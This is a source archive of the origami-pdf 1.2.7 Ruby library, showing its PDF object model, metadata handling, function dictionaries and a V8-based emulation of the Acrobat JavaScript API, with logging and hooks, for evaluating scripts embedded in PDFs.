origami-pdf-1.2.7/0000755000175000017500000000000012427003762014134 5ustar terceiroterceiroorigami-pdf-1.2.7/.hgtags0000755000175000017500000000241512144410635015414 0ustar terceiroterceirodc00b559947ef9f0f3471e9d0d538d907ff35dcd 1.0.0-beta1b 31a39df2872e786ddc1765c70cacddc912708ccb 1.0.0-beta2 499e086b89c5cb70e9890b939932e88457826c66 1.0.0-beta3 39ee51ab45091aa36de0da2b8f85e93a0bd00f3e 1.0.1 b3463c2fdc2bf0243144d100bafbf4a87403888c 1.0.2 5a44566a8cfa94881e6e70bee8c07c505294f912 remove 5a44566a8cfa94881e6e70bee8c07c505294f912 remove 0000000000000000000000000000000000000000 remove 0000000000000000000000000000000000000000 remove 0000000000000000000000000000000000000000 remove b3463c2fdc2bf0243144d100bafbf4a87403888c 1.0.2 0000000000000000000000000000000000000000 1.0.2 0000000000000000000000000000000000000000 1.0.2 aeb1ea9cad6ec4c26a0b1b35bdab41d1b0d433a2 1.0.2 5917a29476349c8c2d0a5547536f59e1936f9159 1.1.0 43f5a9659eb854088484c71c212adb420cbb32ae 1.1.2 43f5a9659eb854088484c71c212adb420cbb32ae 1.1.2 0000000000000000000000000000000000000000 1.1.2 0000000000000000000000000000000000000000 1.1.2 bf60acfadf526f71badea98d8c11525b8468e700 1.1.2 a71faae1a909ad877094cde7489c132d90403e59 1.2.0 69427fb939d3967c3f651073f19e8203a8149a17 1.2.1 111adcdcd4a2041fc2f4a2f06390d22fd8096f42 1.2.2 89b51d85d992c95bebb5f45d4904fb7433c1da4f 1.2.3 bccb50013f4a0f9be868e3dcb120054b3d31345f 1.2.4 e61b63a8b4f043c80fac47601a5e7eed04bd2978 1.2.5 35ddff08cdbc30bd6892d60176d56ed990444c21 1.2.6 origami-pdf-1.2.7/lib/0000755000175000017500000000000012427006355014703 5ustar terceiroterceiroorigami-pdf-1.2.7/lib/origami.rb0000644000175000017500000000330112142214376016652 0ustar terceiroterceiro=begin = File origami.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end if RUBY_VERSION < '1.9' class Fixnum def ord; self; end end class Hash alias key index end end module Origami VERSION = "1.2.6" REVISION = "$Revision$" #:nodoc: # # Global # options for Origami. # OPTIONS = { :enable_type_checking => true, # set to false to disable type consistency checks during compilation. :enable_type_guessing => true, # set to false to prevent the parser to guess the type of special dictionary and streams (not recommended). :enable_type_propagation => true, # set to false to prevent the parser to propagate type from parents to children. :use_openssl => true, # set to false to use Origami crypto backend. :ignore_bad_references => false, # set to interpret invalid references as Null objects, instead of raising an exception. :ignore_zlib_errors => false, # set to true to ignore exceptions on invalid Flate streams. } end require 'origami/pdf' require 'origami/extensions/fdf' require 'origami/extensions/ppklite' origami-pdf-1.2.7/lib/origami/0000755000175000017500000000000012427006355016332 5ustar terceiroterceiroorigami-pdf-1.2.7/lib/origami/functions.rb0000644000175000017500000000542512101464040020661 0ustar terceiroterceiro=begin = File functions.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Function module Type SAMPLED = 0 EXPONENTIAL = 2 STITCHING = 3 POSTSCRIPT = 4 end def self.included(receiver) receiver.field :FunctionType, :Type => Integer, :Required => true receiver.field :Domain, :Type => Array, :Required => true receiver.field :Range, :Type => Array end class Sampled < Stream include Function field :FunctionType, :Type => Integer, :Default => Type::SAMPLED, :Version => "1.3", :Required => true field :Range, :Type => Array, :Required => true field :Size, :Type => Array, :Required => true field :BitsPerSample, :Type => Integer, :Required => true field :Order, :Type => Integer, :Default => 1 field :Encode, :Type => Array field :Decode, :Type => Array end class Exponential < Dictionary include StandardObject include Function field :FunctionType, :Type => Integer, :Default => Type::EXPONENTIAL, :Version => "1.3", :Required => true field :C0, :Type => Array, :Default => [ 0.0 ] field :C1, :Type => Array, :Default => [ 1.0 ] field :N, :Type => Number, :Required => true end class Stitching < Dictionary include StandardObject include Function field :FunctionType, :Type => Integer, :Default => Type::STITCHING, :Version => "1.3", :Required => true field :Functions, :Type => Array, :Required => true field :Bounds, :Type => Array, :Required => true field :Encode, :Type => Array, :Required => true end class PostScript < Stream include Function field :FunctionType, :Type => Integer, :Default => Type::POSTSCRIPT, :Version => "1.3", :Required => true field :Range, :Type => Array, :Required => true end end end origami-pdf-1.2.7/lib/origami/object.rb0000644000175000017500000003655612142214376020142 0ustar terceiroterceiro=begin = File object.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end class Bignum #:nodoc: def to_o Origami::Integer.new(self) end end class Fixnum #:nodoc: def to_o Origami::Integer.new(self) end end class Array #:nodoc: def to_o Origami::Array.new(self) end end class Float #:nodoc: def to_o Origami::Real.new(self) end end class Hash #:nodoc: def to_o Origami::Dictionary.new(self) end end class TrueClass #:nodoc: def to_o Origami::Boolean.new(true) end end class FalseClass #:nodoc: def to_o Origami::Boolean.new(false) end end class NilClass #:nodoc: def to_o Origami::Null.new end end class Symbol #:nodoc: def to_o Origami::Name.new(self) end def value self end end class String #:nodoc: def to_o Origami::ByteString.new(self) end def is_binary_data? ( self.count( "\x00" ) > 0 ) unless empty? end end # # Module for parsing/generating PDF files. # module Origami # # Mixin' module for objects which can store their options into an inner Dictionary. # module StandardObject #:nodoc: DEFAULT_ATTRIBUTES = { :Type => Object, :Version => "1.2" } #:nodoc: def self.included(receiver) #:nodoc: receiver.instance_variable_set(:@fields, Hash.new(DEFAULT_ATTRIBUTES)) receiver.extend(ClassMethods) end module ClassMethods #:nodoc:all def inherited(subclass) subclass.instance_variable_set(:@fields, Marshal.load(Marshal.dump(@fields))) end def fields @fields end def field(name, attributes) if attributes[:Required] == true and attributes.has_key?(:Default) and attributes[:Type] == Name self.add_type_info(self, name, attributes[:Default]) end if not @fields.has_key?(name) @fields[name] = attributes else @fields[name].merge! attributes end define_field_methods(name) end def define_field_methods(field) reader = lambda { obj = self[field]; obj.is_a?(Reference) ? obj.solve : obj } writer = lambda { |value| self[field] = value } set = lambda { |value| self[field] = value; self } send(:define_method, field.id2name, reader) send(:define_method, field.id2name + "=", writer) send(:define_method, "set" + field.id2name, set) end # # Returns an array of required fields for the current Object. # def required_fields fields = [] @fields.each_pair { |name, attributes| fields << name if attributes[:Required] == true } fields end def hint_type(name) if @fields.has_key?(name) @fields[name][:Type] end end end def pre_build #:nodoc: set_default_values do_type_check if Origami::OPTIONS[:enable_type_checking] == true super end # # Check if an attribute is set in the current Object. # _attr_:: The attribute name. # def has_field? (field) not self[field].nil? end # # Returns the version and level required by the current Object. # def pdf_version_required #:nodoc: max = [ 1.0, 0 ] self.each_key do |field| attributes = self.class.fields[field.value] current_version = attributes.has_key?(:Version) ? attributes[:Version].to_f : 0 current_level = attributes[:ExtensionLevel] || 0 current = [ current_version, current_level ] max = current if (current <=> max) > 0 sub = self[field.value].pdf_version_required max = sub if (sub <=> max) > 0 end max end def set_default_value(field) #:nodoc: if self.class.fields[field][:Default] self[field] = self.class.fields[field][:Default] self[field].pre_build end end def set_default_values #:nodoc: self.class.required_fields.each do |field| set_default_value(field) unless has_field?(field) end end def do_type_check #:nodoc: self.class.fields.each_pair do |field, attributes| if not self[field].nil? and not attributes[:Type].nil? types = attributes[:Type].is_a?(::Array) ? attributes[:Type] : [ attributes[:Type] ] if not self[field].is_a?(Reference) and types.all? {|type| not self[field].is_a?(type.native_type)} puts "Warning: in object #{self.class}, field `#{field.to_s}' has unexpected type #{self[field].class}" end end end end end class InvalidObjectError < Exception #:nodoc: end class UnterminatedObjectError < Exception #:nodoc: attr_reader :obj def initialize(msg,obj) super(msg) @obj = obj end end WHITESPACES = "([ \\f\\t\\r\\n\\0]|%[^\\n]*\\n)*" #:nodoc: WHITECHARS_NORET = "[ \\f\\t\\0]*" #:nodoc: EOL = "\r\n" #:nodoc: WHITECHARS = "[ \\f\\t\\r\\n\\0]*" #:nodoc: REGEXP_WHITESPACES = Regexp.new(WHITESPACES) #:nodoc: # # Parent module representing a PDF Object. # PDF specification declares a set of primitive object types : # * Null # * Boolean # * Integer # * Real # * Name # * String # * Array # * Dictionary # * Stream # module Object TOKENS = %w{ obj endobj } #:nodoc: @@regexp_obj = Regexp.new(WHITESPACES + "(\\d+)" + WHITESPACES + "(\\d+)" + WHITESPACES + TOKENS.first + WHITESPACES) @@regexp_endobj = Regexp.new(WHITESPACES + TOKENS.last + WHITESPACES) attr_accessor :no, :generation, :file_offset, :objstm_offset attr_accessor :parent # # Creates a new PDF Object. # def initialize(*cons) @indirect = false @no, @generation = 0, 0 super(*cons) unless cons.empty? end # # Sets whether the object is indirect or not. # Indirect objects are allocated numbers at build time. # def set_indirect(bool) unless bool == true or bool == false raise TypeError, "The argument must be boolean" end if not bool @no = @generation = 0 @pdf = nil end @indirect = bool self end # # Generic method called just before the object is finalized. # At this time, no number nor generation allocation has yet been done. # def pre_build self end # # Generic method called just after the object is finalized. # At this time, any indirect object has its own number and generation identifier. # def post_build self end # # Compare two objects from their respective numbers. # def <=>(obj) [@no, @generation] <=> [obj.no, obj.generation] end # # Returns whether the objects is indirect, which means that it is not embedded into another object. # def is_indirect? @indirect end # # Deep copy of an object. # def copy saved_pdf = @pdf saved_parent = @parent saved_xref_cache = @xref_cache @pdf = @parent = nil # do not process parent object and document in the copy # Perform the recursive copy (quite dirty). copyobj = Marshal.load(Marshal.dump(self)) # restore saved values @pdf = saved_pdf @parent = saved_parent copyobj.set_pdf(saved_pdf) if copyobj.is_indirect? copyobj.parent = parent copyobj end # # Returns an indirect reference to this object, or a Null object is this object is not indirect. # def reference unless self.is_indirect? raise InvalidObjectError, "Cannot reference a direct object" end ref = Reference.new(@no, @generation) ref.parent = self ref end # # Returns an array of references pointing to the current object. # def xrefs unless self.is_indirect? raise InvalidObjectError, "Cannot find xrefs to a direct object" end if self.pdf.nil? raise InvalidObjectError, "Not attached to any PDF" end xref_cache = Hash.new([]) @pdf.root_objects.each do |obj| case obj when Dictionary,Array then xref_cache.update(obj.xref_cache) do |ref, cache1, cache2| cache1.concat(cache2) end when Stream then obj.dictionary.xref_cache.each do |ref, cache| cache.map!{obj} end xref_cache.update(obj.dictionary.xref_cache) do |ref, cache1, cache2| cache1.concat(cache2) end end end xref_cache[self.reference] end # # Creates an exportable version of current object. # The exportable version is a copy of _self_ with solved references, no owning PDF and no parent. # References to Catalog or PageTreeNode objects have been destroyed. # # When exported, an object can be moved into another document without hassle. # def export exported_obj = self.logicalize exported_obj.no = exported_obj.generation = 0 exported_obj.set_pdf(nil) if exported_obj.is_indirect? exported_obj.parent = nil exported_obj.xref_cache.clear exported_obj end # # Returns a logicalized copy of _self_. # See logicalize! # def logicalize #:nodoc: self.copy.logicalize! end # # Transforms recursively every references to the copy of their respective object. # Catalog and PageTreeNode objects are excluded to limit the recursion. # def logicalize! #:nodoc: def resolve_all_references(obj, browsed = [], ref_cache = {}) return if browsed.include?(obj) browsed.push(obj) if obj.is_a?(ObjectStream) obj.each do |subobj| resolve_all_references(obj, browsed, ref_cache) end end if obj.is_a?(Dictionary) or obj.is_a?(Array) obj.map! do |subobj| if subobj.is_a?(Reference) new_obj = if ref_cache.has_key?(subobj) ref_cache[subobj] else ref_cache[subobj] = subobj.solve.copy end new_obj.no = new_obj.generation = 0 new_obj.parent = obj new_obj unless new_obj.is_a?(Catalog) or new_obj.is_a?(PageTreeNode) else subobj end end obj.each do |subobj| resolve_all_references(subobj, browsed, ref_cache) end elsif obj.is_a?(Stream) resolve_all_references(obj.dictionary, browsed, ref_cache) end end resolve_all_references(self) end # # Returns the indirect object which contains this object. # If the current object is already indirect, returns self. # def indirect_parent obj = self obj = obj.parent until obj.is_indirect? obj end # # Returns self. # def to_o self end # # Returns self. # def solve self end # # Returns the size of this object once converted to PDF code. # def size to_s.size end # # Returns the PDF which the object belongs to. # def pdf if self.is_indirect? then @pdf else @parent.pdf if @parent end end def set_pdf(pdf) if self.is_indirect? then @pdf = pdf else raise InvalidObjectError, "You cannot set the PDF parent of a direct object" end end class << self def typeof(stream, noref = false) #:nodoc: stream.skip(REGEXP_WHITESPACES) case stream.peek(1) when '/' then return Name when '<' return (stream.peek(2) == '<<') ? Stream : HexaString when '(' then return ByteString when '[' then return Origami::Array when 'n' then return Null if stream.peek(4) == 'null' when 't' then return Boolean if stream.peek(4) == 'true' when 'f' then return Boolean if stream.peek(5) == 'false' else if not noref and stream.check(Reference::REGEXP_TOKEN) then return Reference elsif stream.check(Real::REGEXP_TOKEN) then return Real elsif stream.check(Integer::REGEXP_TOKEN) then return Integer else nil end end nil end def parse(stream, parser = nil) #:nodoc: offset = stream.pos # # End of body ? # return nil if stream.match?(/xref/) or stream.match?(/trailer/) or stream.match?(/startxref/) if stream.scan(@@regexp_obj).nil? raise InvalidObjectError, "Object shall begin with '%d %d obj' statement" end no = stream[2].to_i gen = stream[4].to_i type = typeof(stream) if type.nil? raise InvalidObjectError, "Cannot determine object (no:#{no},gen:#{gen}) type" end begin newObj = type.parse(stream, parser) rescue Exception => e raise InvalidObjectError, "Failed to parse object (no:#{no},gen:#{gen})\n\t -> [#{e.class}] #{e.message}" end newObj.set_indirect(true) newObj.no = no newObj.generation = gen newObj.file_offset = offset if stream.skip(@@regexp_endobj).nil? raise UnterminatedObjectError.new("Object shall end with 'endobj' statement", newObj) end newObj end def skip_until_next_obj(stream) #:nodoc: [ @@regexp_obj, /xref/, /trailer/, /startxref/ ].each do |re| if stream.scan_until(re) stream.pos -= stream.matched_size return true end end false end end def pdf_version_required #:nodoc: [ 1.0, 0 ] end # # Returns the symbol type of this Object. # def type self.class.to_s.split("::").last.to_sym end def self.native_type; Origami::Object end #:nodoc: # # Returns the native PDF type of this Object. # def native_type self.class.native_type end def cast_to(type) #:nodoc: if type.native_type != self.native_type raise TypeError, "Incompatible cast from #{self.class} to #{type}" end self end # # Outputs this object into PDF code. # _data_:: The object data. # def to_s(data) content = "" content << "#{no} #{generation} obj" << EOL if self.is_indirect? content << data content << EOL << "endobj" << EOL if self.is_indirect? content end alias output to_s end end origami-pdf-1.2.7/lib/origami/metadata.rb0000644000175000017500000001202512101464040020423 0ustar terceiroterceiro=begin = File metadata.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'rexml/document' module Origami class PDF # # Returns true if the document has a document information dictionary. # def has_document_info? has_attr? :Info end # # Returns true if the document has a catalog metadata stream. # def has_metadata? self.Catalog.Metadata.is_a?(Stream) end # # Returns the document information dictionary if present. # def get_document_info get_doc_attr :Info end def title; get_document_info_field(:Title) end def author; get_document_info_field(:Author) end def subject; get_document_info_field(:Subject) end def keywords; get_document_info_field(:Keywords) end def creator; get_document_info_field(:Creator) end def producer; get_document_info_field(:Producer) end def creation_date; get_document_info_field(:CreationDate) end def mod_date; get_document_info_field(:ModDate) end # # Returns a Hash of the information found in the metadata stream # def get_metadata metadata_stm = self.Catalog.Metadata if metadata_stm.is_a?(Stream) doc = REXML::Document.new(metadata_stm.data) info = {} doc.elements.each('*/*/rdf:Description') do |description| description.attributes.each_attribute do |attr| case attr.prefix when 'pdf','xap' info[attr.name] = attr.value end end description.elements.each('*') do |element| value = (element.elements['.//rdf:li'] || element).text info[element.name] = value.to_s end end info end end # # Modifies or creates a metadata stream. # def create_metadata(info = {}) skeleton = <<-XMP XMP xml = if self.Catalog.Metadata.is_a?(Stream) self.Catalog.Metadata.data else skeleton end doc = REXML::Document.new(xml) desc = doc.elements['*/*/rdf:Description'] info.each do |name, value| elt = REXML::Element.new "pdf:#{name}" elt.text = value desc.elements << elt end xml = ""; doc.write(xml, 3) if self.Catalog.Metadata.is_a?(Stream) self.Catalog.Metadata.data = xml else self.Catalog.Metadata = Stream.new(xml) end self.Catalog.Metadata end private def get_document_info_field(field) #:nodoc: if has_document_info? doc_info = get_document_info if doc_info.has_key?(field) case obj = get_document_info[field].solve when String then obj.value when Stream then obj.data end end end end end # # Class representing an information Dictionary, containing title, author, date of creation and the like. # class Metadata < Dictionary include StandardObject field :Title, :Type => String, :Version => "1.1" field :Author, :Type => String field :Subject, :Type => String, :Version => "1.1" field :Keywords, :Type => String, :Version => "1.1" field :Creator, :Type => String field :Producer, :Type => String field :CreationDate, :Type => ByteString field :ModDate, :Type => ByteString, :Version => "1.1" field :Trapped, :Type => Name, :Default => :Unknown, :Version => "1.3" end # # Class representing a metadata Stream. # This stream can contain the same information as the Metadata dictionary, but is storing in XML data. # class MetadataStream < Stream include StandardObject field :Type, :Type => Name, :Default => :Metadata, :Required => true field :Subtype, :Type => Name, :Default =>:XML, :Required => true end end origami-pdf-1.2.7/lib/origami/javascript.rb0000644000175000017500000005004712130614216021023 0ustar terceiroterceiro=begin = File javascript.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami begin require 'v8' class V8::Object #def inspect # case self # when V8::Array,V8::Function then super # else # "{#{self.to_a.map{|k,v| "#{k}:#{v.inspect}"}.join(', ')}}" # end #end end class PDF module JavaScript module Platforms WINDOWS = "WIN" UNIX = "UNIX" MAC = "MAC" end module Viewers ADOBE_READER = "Reader" end class MissingArgError < Exception def initialize; super("Missing required argument.") end end class TypeError < Exception def initialize; super("Incorrect argument type.") end end class InvalidArgsError < Exception def initialize; super("Incorrect arguments.") end end class NotAllowedError < Exception def initialize; super("Security settings prevent access to this property or method.") end end class HelpError < Exception def initialize; super("Help") end end class GeneralError < Exception def initialize; super("Operation failed.") end end class Arg attr_reader :name, :type, :required, :default def initialize(declare = {}) @name = declare[:name] @type = declare[:type] @required = declare[:required] @default = declare[:default] end def self.[](declare = {}) self.new(declare) end def self.inspect(obj) case obj when V8::Function then "function #{obj.name}" when V8::Array then obj.to_a.inspect when V8::Object "{#{obj.to_a.map{|k,v| "#{k}:#{Arg.inspect(v)}"}.join(', ')}}" else obj.inspect end end end class AcrobatObject def initialize(engine) @engine = engine end def self.check_method_args(args, def_args) if args.first.is_a?(V8::Object) args = args.first members = args.entries.map{|k,v| k} argv = [] def_args.each do |def_arg| raise MissingArgError if def_arg.required and not members.include?(def_arg.name) if members.include?(def_arg.name) arg = args[def_arg.name] raise TypeError if def_arg.type and not arg.is_a?(def_arg.type) else arg = def_arg.default end argv.push(arg) end args = argv else i = 0 def_args.each do |def_arg| raise MissingArgError if def_arg.required and i >= args.length raise TypeError if def_arg.type and not args[i].is_a?(def_arg.type) args.push(def_arg.default) if i >= args.length i = i + 1 end end args end def self.acro_method(name, *def_args, &b) define_method(name) do |*args| if @engine.options[:log_method_calls] @engine.options[:console].puts( "LOG: #{self.class}.#{name}(#{args.map{|arg| Arg.inspect(arg)}.join(',')})" ) end args = AcrobatObject.check_method_args(args, def_args) self.instance_exec(*args, &b) if b end end def self.acro_method_protected(name, *def_args, &b) define_method(name) do |*args| if @engine.options[:log_method_calls] @engine.options[:console].puts( "LOG: #{self.class}.#{name}(#{args.map{|arg| arg.inspect}.join(',')})" ) end raise NotAllowedError args = AcrobatObject.check_method_args(args, def_args) self.instance_exec(*args, &b) if b end end def to_s "[object #{self.class.to_s.split('::').last}]" end alias inspect to_s end class AcroTimer < AcrobatObject def initialize(engine, timeout, code, repeat) @thr = Thread.start(engine, timeout, code, repeat) do loop do sleep(timeout / 1000.0) engine.exec(code) break if not repeat end end end end class TimeOut < AcroTimer def initialize(engine, timeout, code) super(engine, timeout, code, false) end end class Interval < AcroTimer def initialize(engine, timeout, code) super(engine, timeout, code, true) end end class ReadStream < AcrobatObject def initialize(engine, data) super(engine) @data = data end acro_method 'read', Arg[:name => 'nBytes', :type => Numeric, :required => true] do |nBytes| @data.slice!(0, nBytes).unpack("H*")[0] end end class Acrohelp < AcrobatObject; end class Global < AcrobatObject def initialize(engine) super(engine) @vars = {} end def []=(name, value) @vars[name] ||= {:callbacks => []} @vars[name][:value] = value @vars[name][:callbacks].each do |callback| callback.call(value) end end def [](name) @vars[name][:value] if @vars.include?(name) end acro_method 'setPersistent', Arg[:name => 'cVariable', :required => true], Arg[:name => 'bPersist', :required => true] do |cVariable, bPersist| raise GeneralError unless @vars.include?(cVariable) end acro_method 'subscribe', Arg[:name => 'cVariable', :required => true], Arg[:name => 'fCallback', :type => V8::Function, :required => true] do |cVariable, fCallback| if @vars.include?(cVariable) @vars[cVariable][:callbacks].push(fCallback) fCallback.call(@vars[cVariable][:value]) end end end class Doc < AcrobatObject attr_reader :info attr_accessor :disclosed attr_reader :hidden class Info < AcrobatObject def initialize(engine, doc) super(engine) @doc = doc end def title; @doc.title.to_s end def author; @doc.author.to_s end def subject; @doc.subject.to_s end def keywords; @doc.keywords.to_s end def creator; @doc.creator.to_s end def creationDate; @doc.creation_date.to_s end def modDate; @doc.mod_date.to_s end end def initialize(*args) engine, pdf = args # XXX: Bypass therubyracer bug #238. Temporary. super(engine) @pdf = pdf @disclosed = false @hidden = false @info = Info.new(@engine, pdf) end ### PROPERTIES ### def numFields fields = @pdf.fields if fields.nil? 0 else fields.size end end def numPages; @pdf.pages.size end def title; @info.title end def author; @info.author end def subject; @info.subject end def keywords; @info.keywords end def creator; @info.creator end def creationDate; @info.creationDate end def modDate; @info.modDate end def metadata meta = @pdf.Catalog.Metadata (meta.data if meta.is_a?(Stream)).to_s end def filesize; @pdf.original_filesize end def path; @pdf.original_filename.to_s end def documentFileName; File.basename(self.path) end def URL; "file://#{self.path}" end def baseURL; '' end def dataObjects data_objs = [] @pdf.ls_names(Names::Root::EMBEDDEDFILES).each do |name, file_desc| if file_desc and file_desc.EF and (f = file_desc.EF.F) data_objs.push Data.new(@engine, name, f.data.size) if f.is_a?(Stream) end end data_objs end ### METHODS ### acro_method 'closeDoc' acro_method 'getDataObject', Arg[:name => 'cName', :type => ::String, :required => true] do |cName| file_desc = @pdf.resolve_name(Names::Root::EMBEDDEDFILES, cName) if file_desc and file_desc.EF and (f = file_desc.EF.F) Data.new(@engine, cName, f.data.size) if f.is_a?(Stream) else raise TypeError end end acro_method 'getDataObjectContents', Arg[:name => 'cName', :type => ::String, :required => true], Arg[:name => 'bAllowAuth', :default => false] do |cName, bAllowAuth| file_desc = @pdf.resolve_name(Names::Root::EMBEDDEDFILES, cName) if file_desc and file_desc.EF and (f = file_desc.EF.F) ReadStream.new(@engine, f.data) if f.is_a?(Stream) else raise TypeError end end acro_method 'exportDataObject', Arg[:name => 'cName', :type => ::String, :required => true], Arg[:name => 'cDIPath' ], Arg[:name => 'bAllowAuth'], Arg[:name => 'nLaunch'] do |cName, cDIPath, bAllowAuth, nLaunch| file_desc = @pdf.resolve_name(Names::Root::EMBEDDEDFILES, cName) if file_desc and file_desc.EF and (f = file_desc.EF.F) else raise TypeError end raise TypeError if f.nil? end acro_method 'getField', Arg[:name => 'cName', :type => ::Object, :required => true] do |cName| field = @pdf.get_field(cName) Field.new(@engine, field) if field end acro_method 'getNthFieldName', Arg[:name => 'nIndex', :type => ::Object, :required => true] do |nIndex| nIndex = case nIndex when false then 0 when true then 1 else @engine.parseInt.call(nIndex) end raise TypeError if (nIndex.is_a?(Float) and nIndex.nan?) or nIndex < 0 fields = @pdf.fields (Field.new(@engine, fields[nIndex]).name if fields and fields[nIndex]).to_s end end class App < AcrobatObject attr_reader :platform, :viewerVariation, :viewerVersion def platform; @engine.options[:platform] end def viewerType; @engine.options[:viewerType] end def viewerVariation; @engine.options[:viewerVariation] end def viewerVersion; @engine.options[:viewerVersion] end def activeDocs; [] end ### METHODS ### acro_method 'setInterval', Arg[:name => 'cExpr', :required => true], Arg[:name => 'nMilliseconds', :type => Numeric, :required => true] do |cExpr, nMilliseconds| cExpr = cExpr.is_a?(::String) ? cExpr : '' Interval.new(@engine, nMilliseconds, cExpr) end acro_method 'setTimeOut', Arg[:name => 'cExpr', :required => true], Arg[:name => 'nMilliseconds', :type => Numeric, :required => true] do |cExpr, nMilliseconds| cExpr = cExpr.is_a?(::String) ? cExpr : '' TimeOut.new(@engine, nMilliseconds, cExpr) end acro_method 'clearInterval', Arg[:name => 'oInterval', :type => Interval, :required => true] do |oInterval| oInterval.instance_variable_get(:@thr).terminate nil end acro_method 'clearTimeOut', Arg[:name => 'oInterval', :type => TimeOut, :required => true] do |oInterval| oInterval.instance_variable_get(:@thr).terminate nil end acro_method_protected 'addMenuItem' acro_method_protected 'addSubMenu' acro_method 'addToolButton' acro_method_protected 'beginPriv' acro_method 'beep' acro_method_protected 'browseForDoc' acro_method_protected 'endPriv' end class Console < AcrobatObject def println(*args) raise MissingArgError unless args.length > 0 @engine.options[:console].puts(args.first.to_s) end acro_method 'show' acro_method 'clear' acro_method 'hide' end class Util < AcrobatObject acro_method 'streamFromString', Arg[:name => 'cString', :type => ::Object, :required => true], Arg[:name => 'cCharset', :type => ::Object, :default => 'utf-8'] do |cString, cCharset| ReadStream.new(@engine, cString.to_s) end acro_method 'stringFromStream', Arg[:name => 'oStream', :type => ReadStream, :required => true], Arg[:name => 'cCharset', :type => ::Object, :default => 'utf-8'] do |oStream, cCharset| oStream.instance_variable_get(:@data).dup end end class Field < AcrobatObject def initialize(engine, field) super(engine) @field = field end def doc; Doc.new(@field.pdf) end def name (@field.T.value if @field.has_key?(:T)).to_s end def value @field.V.value if @field.has_key?(:V) end def valueAsString self.value.to_s end def type (if @field.has_key?(:FT) case @field.FT.value when PDF::Field::Type::BUTTON if @fields.has_key?(:Ff) flags = @field.Ff.value if (flags & Origami::Annotation::Widget::Button::Flags::PUSHBUTTON) != 0 'button' elsif (flags & Origami::Annotation::Widget::Button::Flags::RADIO) != 0 'radiobox' else 'checkbox' end end when PDF::Field::Type::TEXT then 'text' when PDF::Field::Type::SIGNATURE then 'signature' when PDF::Field::Type::CHOICE if @field.has_key?(:Ff) if (@field.Ff.value & Origami::Annotation::Widget::Choice::Flags::COMBO).zero? 'listbox' else 'combobox' end end end end).to_s end end class Data < AcrobatObject attr_reader :name, :path, :size attr_reader :creationDate, :modDate attr_reader :description, :MIMEType def initialize(engine, name, size, path = nil, creationDate = nil, modDate = nil, description = nil, mimeType = nil) super(engine) @name, @path, @size = name, path, size @creationDate, @modDate = creationDate, modDate @description, @MIMEType = description, mimeType end end end class JavaScript::EngineError < Exception; end class JavaScript::Engine attr_reader :global attr_reader :context attr_reader :options attr_reader :parseInt def initialize(pdf) @options = { :viewerVersion => JavaScript::Platforms::WINDOWS, :viewerType => JavaScript::Viewers::ADOBE_READER, :viewerVariation => JavaScript::Viewers::ADOBE_READER, :platform => 9, :console => STDOUT, :log_method_calls => false } @global = JavaScript::Doc.new(self, pdf) app = JavaScript::App.new(self) acrohelp = JavaScript::Acrohelp.new(self) global = JavaScript::Global.new(self) console = JavaScript::Console.new(self) util = JavaScript::Util.new(self) @context = V8::Context.new(:with => @global) @context['app'] = app @context['acrohelp'] = acrohelp @context['console'] = console @context['global'] = global @context['util'] = util @parseInt = @context['parseInt'] @hooks = {} end # # Evaluates a JavaScript code in the current context. # def exec(script) @context.eval(script) end # # Set a hook on a JavaScript method. # def hook(name, &callback) ns = name.split('.') previous = @context ns.each do |n| raise JavaScript::EngineError, "#{name} does not exist" if previous.nil? previous = previous[n] end case previous when V8::Function, UnboundMethod, nil then @context[name] = lambda do |*args| callback[previous, *args] end @hooks[name] = [previous, callback] else raise JavaScript::EngineError, "#{name} is not a function" end end # # Removes an existing hook on a JavaScript method. # def unhook(name) if @hooks.has_key?(name) @context[name] = @hooks[name][0] end end # # Returns an Hash of all defined members in specified object name. # def members(obj) members = {} list = @context.eval <<-JS (function(base){ var members = []; for (var i in base) members.push([i, base[i]]); return members; })(#{obj}) JS list.each do |var| members[var[0]] = var[1] end members end # # Returns all members in the global scope. # def scope members('this') end # # Binds the V8 remote debugging agent on the specified TCP _port_. # def enable_debugger(port = 5858) V8::C::Debug.EnableAgent("Origami", port) end def debugger_break exec 'debugger' end end end module String # # Evaluates the current String as JavaScript. # def eval_js self.pdf.eval_js(self.value) end end 